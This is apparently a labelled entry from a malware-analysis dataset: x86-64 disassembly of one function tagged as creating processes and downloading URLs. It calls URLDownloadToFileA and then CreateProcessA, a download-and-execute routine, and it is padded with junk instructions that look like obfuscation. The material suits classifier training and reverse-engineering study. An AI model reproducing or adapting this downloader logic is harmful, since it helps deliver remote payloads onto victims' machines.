Function at 0x14000bada
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
xchg bpl, al
shrd eax, r8d, 0x85
push rsi
cbw
sbb ebp, 0xe252596
push rdi
push r14
push r15
or r14b, 0xe9
bt r14, r15
not bpl
lea rbp, [rsp - 0x20]
movsx r14d, r14w
movzx ax, bpl
sub rsp, 0x120
sub r14w, r11w
mov rax, qword [0x140008040]
add r14w, r10w
movzx rsi, ax
xor rax, rsp
sal r14d, 0xde
movsx r14w, bl
neg sil
mov qword [rbp + 0x10], rax
shr sil, 0xa8
rcr esi, cl
mov rsi, rdx
mov r14b, 0x3b
inc r14b
dec r14d
mov r14, rcx
sbb ch, 0xad
bts cx, bp
xor r15d, r15d
lea rcx, [rsp + 0x78]
call fcn.140001ca0
mov rdi, rax
test dl, r15b
bts r9w, cx
mov r9, rsi
test r13d, r10d
jmp 0x14000bb7b
cmp qword [rsi + 0x18], 0xf
jmp 0x14000bb85
jbe 0x14000bb99
mov r9, qword [rsi]
ror edx, 0x2b
shld cx, cx, 0x93
cmp bl, r9b
mov rsi, qword [rsi + 0x10]
rcl edx, cl
rol dl, 0xee
mov rcx, qword [rax + 0x10]
cwd
shr rdx, 0xd2
mov rdx, qword [rax + 0x18]
rcr ax, cl
bts ax, ax
shl ax, cl
mov rax, rdx
sub rax, rcx
jmp 0x14000bbca
cmp rsi, rax
ja 0x14000bc43
lea rax, [rcx + rsi]
cmp r13w, di
test r13b, sil
mov qword [rdi + 0x10], rax
not ax
xor al, r10b
cwde
mov rax, rdi
cmc
cmp r11d, edx
cmp rdx, 0xf
jmp 0x14000bbf9
jbe 0x14000bc0d
mov rax, qword [rdi]
cmovb rbx, r9
mov r8, r8
mov dx, 0x5042
lea rbx, [rax + rcx]
movzx r8d, r10w
movsx edx, r10w
mov r8, rsi
movzx rdx, ax
mov rdx, r9
movsxd rcx, r10d
not ch
mov rcx, rbx
jmp 0x14000bc30
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rsi], 0
jmp 0x14000bc3e
jmp 0x14000bc6b
mov qword [rsp + 0x20], rsi
movsx cx, sil
mov rdx, rsi
movsx rcx, r12w
xchg ecx, ecx
mov rcx, rdi
jmp 0x14000bc5e
call fcn.140002a80
mov rdi, rax
jmp 0x14000bc6b
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [rdi]
shld edx, r8d, 0xe0
movsxd rdx, r9d
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rdi + 0x10]
movsx rdx, ax
add dl, 0x67
cmp di, 0x7992
movups xmmword [rsp + 0x68], xmm1
mov qword [rdi + 0x10], r15
xor dl, 0xc0
adc dh, dl
btc edx, 0xc5
mov qword [rdi + 0x18], 0xf
cmc
xchg dx, dx
bts dx, bp
mov byte [rdi], 0
movsx edx, r8w
mov rdx, qword [rbp - 0x70]
clc
cmp rdx, 0xf
jbe 0x14000bd4b
inc rdx
dec eax
bsr ecx, r10d
bsf rax, r14
mov rcx, qword [rsp + 0x78]
rcl ah, cl
mov rax, rcx
stc
test bx, r10w
cmp rdx, 0x1000
jmp 0x14000bcfc
jb 0x14000bd46
add rdx, 0x27
cmp r14b, 0xf3
cmp ax, bp
clc
mov rcx, qword [rcx - 8]
stc
cmp r13b, 6
sub rax, rcx
jmp 0x14000bd24
add rax, 0xfffffffffffffff8
test cl, r12b
cmp rax, 0x1f
jmp 0x14000bd34
jbe 0x14000bd46
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002e40
lea r8, [rsp + 0x58]
jmp 0x14000bd58
cmp qword [rsp + 0x70], 0xf
jmp 0x14000bd63
cmova r8, qword [rsp + 0x58]
jmp 0x14000bd72
cmp qword [r14 + 0x18], 0xf
jmp 0x14000bd7c
jbe 0x14000bd85
mov r14, qword [r14]
mov qword [rsp + 0x20], r15
mov dh, 0x9c
shr dl, 0x7e
not dx
sub r9d, r9d
mov rdx, r14
test r8b, dl
cmp r10b, 0xec
xor ecx, ecx
jmp 0x14000bda7
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jmp 0x14000bdb4
jne 0x14000be79
mov dword [rbp - 0x60], 0x68
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
movsx dx, r14b
dec ah
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
test r15, rdi
sal dl, 0x24
movups xmmword [rbp - 0x28], xmm0
or al, dil
sbb dl, 0xea
sar dl, 0xff
movups xmmword [rbp - 0x18], xmm0
ror rdx, 0xef
bts ax, si
movups xmmword [rbp - 8], xmm0
shld edx, edx, 0xa2
lea rdx, [rsp + 0x58]
add ax, r11w
btc eax, 0x94
cmp qword [rsp + 0x70], 0xf
cwde
cdqe
cmova rdx, qword [rsp + 0x58]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
movzx eax, r9w
lea rax, [rbp - 0x60]
test r9d, 0x27bc57e1
mov qword [rsp + 0x40], rax
stc
cmp r10d, r9d
test r8b, 0xea
mov qword [rsp + 0x38], r15
cmp sp, 0x4681
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r15d
cmc
stc
sub r9d, r9d
stc
sub r8d, r8d
sub ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov bl, 1
jmp 0x14000be74
jmp 0x14000be7b
xor bl, bl
mov rdx, qword [rsp + 0x70]
stc
cmp rdx, 0xf
jbe 0x14000bef1
inc rdx
bts ax, r10w
rol rax, 0xe9
xor ecx, 0x10de0c0f
mov rcx, qword [rsp + 0x58]
sub ax, 0x6d6f
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000beec
add rdx, 0x27
cmc
jmp 0x14000bec4
mov rcx, qword [rcx - 8]
cmp sil, dil
sub rax, rcx
test r12w, ax
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000beec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002e40
movzx eax, bl
bts rcx, r14
movsx ecx, r9w
xor cl, 0xbc
mov rcx, qword [rbp + 0x10]
cmp ah, ch
test rbx, rsi
cmc
xor rcx, rsp
jmp 0x14000bf11
call fcn.140002e20
mov rbx, qword [rsp + 0x160]
clc
add rsp, 0x120
not r15b
movsxd rsi, ecx
movzx si, r11b
pop r15
movzx rbp, bx
movsx r14d, di
cmovne edi, ecx
pop r14
pop rdi
movsx rsi, r9w
pop rsi
movsx bp, r12b
cmovo bp, r12w
pop rbp
ret